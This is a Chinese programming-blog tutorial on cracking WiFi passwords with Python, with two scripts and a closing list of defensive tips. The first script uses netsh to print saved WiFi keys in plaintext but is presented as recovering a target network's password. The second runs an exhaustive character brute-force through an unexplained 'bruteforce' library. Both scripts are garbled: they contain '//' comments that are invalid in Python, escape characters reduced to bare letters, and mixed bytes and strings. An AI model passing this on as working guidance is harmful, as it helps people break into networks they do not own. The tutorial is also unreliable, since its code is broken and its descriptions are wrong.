首页 > 编程知识 正文

Python暴力破解wifi密码

时间:2023-11-20 21:44:19 阅读:290454 作者:HUQA

简介:本文将从多个方面详细介绍使用Python暴力破解wifi密码的方法。代码实例将被包含在本文中的相关小节中。

一、如何获取wifi密码

在使用Python暴力破解wifi密码之前,我们首先需要获取目标wifi的密码。常用的方法有使用默认密码、利用一些工具进行密码破解、利用一些漏洞等。例如,使用aircrack-ng可以通过监控无线网络流量,并进行暴力破解破解wifi密码。

# import相关模块
import os
import sys
import subprocess

# 定义扫描wifi函数
def scan_wifi():
    commandout = subprocess.Popen(["netsh", "wlan", "show", "network"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    output = commandout.stdout.read()
    if "There are no wireless interfaces on the system." in output:
        print("No wireless network available")
        return []
    else:
        output = output.decode("utf-8")
        output = output.replace("r","")
        ssid_list = output.split("nn")
        ssid_list = ssid_list[1:]
        ssid_list = [ssid.strip().split('n') for ssid in ssid_list]
        ssids = []
        for ssid in ssid_list:
            ssid_info = {}
            for info in ssid:
                if ':' in info:
                    name, value = info.split(":", 1)
                    ssid_info[name] = value.strip()
            ssids.append(ssid_info)
        return ssids

#获取wifi密码
def get_wifi_password(ssid):
    print("SSID: " + ssid)
    profile = subprocess.Popen(["netsh", "wlan", "show", "profile", ssid], stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    profile_output = profile.stdout.read()
    if "Profile {ssid} is not found on the system".format(ssid=ssid) in profile_output.decode("utf-8"):
        print("Profile for ssdi {ssid} not found on the system. Skipping.".format(ssid=ssid))
        return False
    else:
        profile_output = profile_output.decode("utf-8")
        profile_output = profile_output.replace("r","")
        profile_info_list = profile_output.split("n")
        profile_info_list = [profile_info for profile_info in profile_info_list if "keyMaterial" in profile_info]
        profile_info_list = profile_info_list[0].split(":")
        password = profile_info_list[1].strip()
        print("Password:", password)
        return password

if __name__ == '__main__':
    ssids = scan_wifi()
    for ssid in ssids:
        if ssid['Authentication'] == 'WPA2-Personal':
            print("n[*] Attempting to recover key for SSID: {ssid}".format(ssid=ssid["SSID Name"]))
            get_wifi_password(ssid["SSID Name"])

二、如何暴力破解wifi密码

在获取wifi密码之后,我们可以利用Python编写暴力破解密码的脚本。例如,下面这个示例代码将利用Bruteforce库进行字符组合的暴力尝试。

import time
import itertools 
import string 
import math

from bruteforce import bruteforce 

def wifi_password_brute(ssid, password_length):
    password = ""
    characters = string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation // 获取所有字符的列表
    t1 = time.time() //记录开始时间
    for i in range(1, password_length+1):
        password = itertools.product(characters, repeat=i) // 根据密码长度不断组合尝试破解
        for combination in password:
            combination = "".join(combination)
            print(f"Trying {combination}")
            result = bruteforce(ssid, combination) // 利用Bruteforce库进行破解
            if result != -1:
                t2 = time.time()
                print("WIFI Password:",combination, " Cost Time:", t2 - t1, "s")
                return combination
    return False

if __name__ == '__main__':
    ssid = "wifi_name"  # ssid 为要猜测的wifi名
    password_length = 6  # 密码长度
    print(wifi_password_brute(ssid, password_length))

三、防止wifi密码被暴力破解

既然可以使用Python进行wifi密码的暴力破解,那么我们需要增强我们的wifi安全以防止密码泄露。下面列举了一些对抗wifi密码暴力破解的方法:

  1. 修改默认密码
  2. 使用更复杂的密码,包括数字、字母、符号,不少于十个字符
  3. 采用WPA2协议,并使用802.1x鉴别方式
  4. 关闭无线路由器的WPS功能
  5. 启用MAC地址过滤,允许连接到网络的设备必须在白名单中
  6. 不要将无线密码发送给他人,不要在公共场合使用无线网络

版权声明:该文观点仅代表作者本人。处理文章:请发送邮件至 三1五14八八95#扣扣.com 举报,一经查实,本站将立刻删除。